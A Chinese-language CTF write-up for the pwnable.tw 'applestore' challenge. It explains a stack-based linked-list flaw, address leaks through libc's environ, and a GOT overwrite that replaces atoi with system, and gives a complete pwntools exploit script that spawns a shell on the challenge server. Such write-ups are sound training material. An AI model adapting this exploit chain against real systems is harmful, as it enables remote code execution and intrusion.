pwnable-tw applestore

0x00 前言

这道题我一开始一直以为是堆,然后也一直没找到堆溢出的漏洞,最后看了题解才知道原来是个栈,利用方式以前其实也做过,还是不能思维定式了。

0x01 题目分析

可以看出主要有四个功能,大致实现就是用双向链表。结构是name|money|fd|bk这样子。

0x02 漏洞分析

在checkout函数里,到了7147可以获得一部iphone8,然而这个iphone8却是用栈加进去的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((int)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}

虽然这里没有栈溢出,但是可以利用其它函数比如delete,或者cart来修改栈上的内容。

泄露

  • 由上可以泄露出libc地址,也可以泄露出堆地址。

  • 还通过libc中的environ来泄露栈地址。

如何泄露栈地址?

  1. 在libc中保存了一个函数叫_environ,存的是当前进程的环境变量

  2. 得到libc地址后,libc基址+_environ的偏移量=_environ的地址
    在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关

  3. 通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量

修改双向链的fd bk

  • 修改双向链表的fd bk可以在delete的过程中造成一个dwordshoot的攻击,也就相当于任意地址写四字节,然而想直接修改atoi的got表为system会出现段错误(没权限)
  • 利用dwordshoot修改delete函数的ebp,改变handler函数中参数的位置(修改为atoi_got - 0x22),这样my_read会直接读到atoi的got中,并且atoi_got可以往里面写。
  • 最后仍然是利用linux的参数截断特点,输入system+‘;/bin/sh’ 获得shell

0x03 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
debug = 0
d = 1

if debug == 0:
p = process("./applestore")
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if d == 1:
gdb.attach(p)
else:
p = remote("chall.pwnable.tw", 10104)
libc = ELF('./libc_32.so.6')

def add(num):
p.sendlineafter("> ", str(2))
p.sendlineafter("Device Number> ", str(num))

def delete(ans):
p.sendlineafter("> ", str(3))
p.sendlineafter("Item Number> ", ans)

def cart(ans):
p.sendlineafter("> ", str(4))
p.sendlineafter("Let me check your cart. ok? (y/n) > ", ans)

def checkout(ans):
p.sendlineafter("> ", str(5))
p.sendlineafter("Let me check your cart. ok? (y/n) > ", ans)

for i in range(6):
add(1)

for i in range(20):
add(2)

checkout('y')
elf = ELF("./applestore")

context.log_level = 'debug'

got_atoi = elf.got['atoi']
payload = 'ya' + p32(got_atoi) + p32(0xdeadbeaf) + p32(0)
cart(payload)
p.recvuntil("27: ")
libc_addr = u32(p.recv(4))
libc_base = libc_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
environ_libc = libc_base + libc.symbols['environ']
print "environ_libc -> " + hex(environ_libc)
print "libc_addr -> " + hex(libc_addr)
print "libc_base -> " + hex(libc_base)
print "system -> " + hex(system)
payload = 'ya' + p32(environ_libc) + 'a'*(0xa - 2 - 4) + p32(0)
cart(payload)

p.recvuntil("27: ")
stack = u32(p.recv(4))
print "stack -> " + hex(stack)
payload = '27' + p32(stack) + p32(0x12345678)
payload += p32(got_atoi + 0x22) + p32(stack - 0x10c)
ebp_addr = stack - 0x10c
log.success('ebp: ' + hex(ebp_addr))
delete(payload)
#pause()
p.sendlineafter("> ", p32(system) + "||/bin/sh")
p.interactive()
-------------本文结束感谢您的阅读-------------
+ +